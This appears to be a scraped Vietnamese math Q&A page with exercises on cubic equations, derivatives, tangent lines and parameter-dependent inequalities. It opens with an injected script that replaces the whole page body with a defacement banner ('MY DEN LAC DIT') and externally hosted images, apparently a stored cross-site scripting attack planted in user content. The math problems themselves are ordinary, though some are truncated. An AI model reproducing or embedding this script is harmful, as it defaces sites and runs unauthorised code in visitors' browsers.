<script>document.body.innerHTML = "<!DOCTYPE html> <html data-bs-theme=\"light\" lang=\"en\"> <head> <meta name=\"robots\" content=\"index, follow\"> </head> <body class=\"d-flex d-xl-flex flex-column justify-content-center align-items-center align-content-center justify-content-xl-center align-items-xl-center\" style=\"width: 100%;height: 100%;\"> <div class=\"d-flex justify-content-center align-items-center\" style=\"flex-direction: column;width: 100%;height: 100%;\"> <div class=\"d-flex d-xl-flex justify-content-center align-items-center justify-content-xl-center align-items-xl-center\" style=\"flex-direction: column;font-size: 36px;\"><strong class=\"text-center\" style=\"color: rgb(255,0,199);\">MY DEN LAC DIT</strong><strong class=\"text-center\" style=\"color: rgb(255,0,199);\">TEXAS, CALIFORNIA, HOUSTON </strong></div> <div class=\"d-flex d-xl-flex flex-row justify-content-center align-items-center flex-wrap justify-content-xl-center align-items-xl-center justify-content-xxl-center\" style=\"height: auto;\"><img src=\"https://i.ibb.co/ZL9xs3L/download-2.jpg\" style=\"margin-right: 30px;\"><img class=\"d-flex justify-content-center align-items-center\" src=\"https://i.ibb.co/9g6sT82/20220216-105539.gif\" width=\"419\" height=\"206\"><img class=\"d-flex justify-content-center align-items-center\" src=\"https://i.ibb.co/SRKPYP5/DDAB5-E1-C-A3-D8-488-F-8224-80-D2822046-E0.gif\" width=\"230\" height=\"275\" style=\"margin-left: 30px;\"><img class=\"d-flex justify-content-center align-items-center\" src=\"https://i.ibb.co/P5mgN3Y/image1-1.gif\" style=\"margin-left: 30px;\"></div> </div> </body></html>";</script>
Cho phương trình \(x^3-2x^2+\left(1-m\right)x+m=0\)
a) Biết phương trình có nghiệm \(x=1\), hãy sử dụng sơ đồ Hoocne để phân tích \(x^3-2x^2+\left(1-m\right)x+m=\left(x-1\right)...\)
b) Tìm \(m\) để phương trình trên có 3 nghiệm phân biệt \(x_1\), \(x_2\), \(x_3\).
c) Với giá trị nào của \(m\) thì \(x^2_1+x^2_2+x^2_3< 4\)
cho hàm số \(f\left(x\right)=x^3-3x^2+2\)
a, giải bất phương trình \(f'\left(x\right)\le0\)
b, giải phương trình \(f'=\left(x^2-3x+2\right)=0\)
c, đặt \(g\left(x\right)=f\left(1-2x\right)+x^2-x+2022\) giải bất phương trình\(g'\left(x\right)\ge0\)
Cho hàm số \(y=\dfrac{2}{3}mx^3-x^2+m-1\) có đồ thị (C)
a) Xác định m để đồ thị (C) đi qua \(x=1\)
b) Gọi \(\left(C_1\right)\) là đồ thị của hàm số ứng với \(m=1\). Viết phương trình tiếp tuyến của \(\left(C_1\right)\) tại điểm có hoành độ \(x=1\)
c) Viết phương trình tiếp tuyến của \(\left(C_1\right)\) song song với đường thẳng có phương trình :
\(4x-y+1=0\)
Biết rằng tập hợp các giá trị của m để phương trình \(\left(m-2\right)\sqrt{x+3}+\left(2m-1\right)\sqrt{1-x}+m-1=0\)có nghiệm là đoạn [a;b]. Tính giá trị biểu thức S=2019b-2020a-172
Tìm nghiệm \(x\in\left(0;10\pi\right)\) của phương trình
\(\dfrac{\sqrt{3}}{cos^2x}-tanx-2\sqrt{3}=sinx\left(1+tanx.tan\dfrac{x}{2}\right).\)
Cho \(\left(m-1\right)x^3+2\left(m-1\right)x^2+mx\). Tìm tất cả các giá trị của m để f'(x)<0 với mọi x thuộc R
tìm tất cả các giá trị của tham số a để bất phương trình có nghiệm:
\(\left(x^2-2x+4\right)\left(x^2+x+4\right)- \left(a+2018\right)x^2\le0\)
Cho hàm số \(y=\dfrac{x^3}{3}-\left(m-1\right)x^2+3\left(m-1\right)x+1\). Có tất cả bao nhiêu giá trị nguyên của tham số m để hàm số đã cho đồng biến trên khoảng \(\left(1;+\infty\right)\)
Cho hàm số y = f(x) liên tục trên R và f(0) = f(1). Chứng minh phương trình \(f\left(x+\dfrac{1}{3}\right)-f\left(x\right)=0\) luôn có nghiệm thuộc đoạn [0;1]
Tìm m để hệ bất phương trình có nghiệm thực duy nhất:
\(\left\{{}\begin{matrix}\left(x-1\right)^2+\left(y-1\right)^2\le5-2xy\\x+y+\sqrt{2xy+m}\ge3\end{matrix}\right.\)
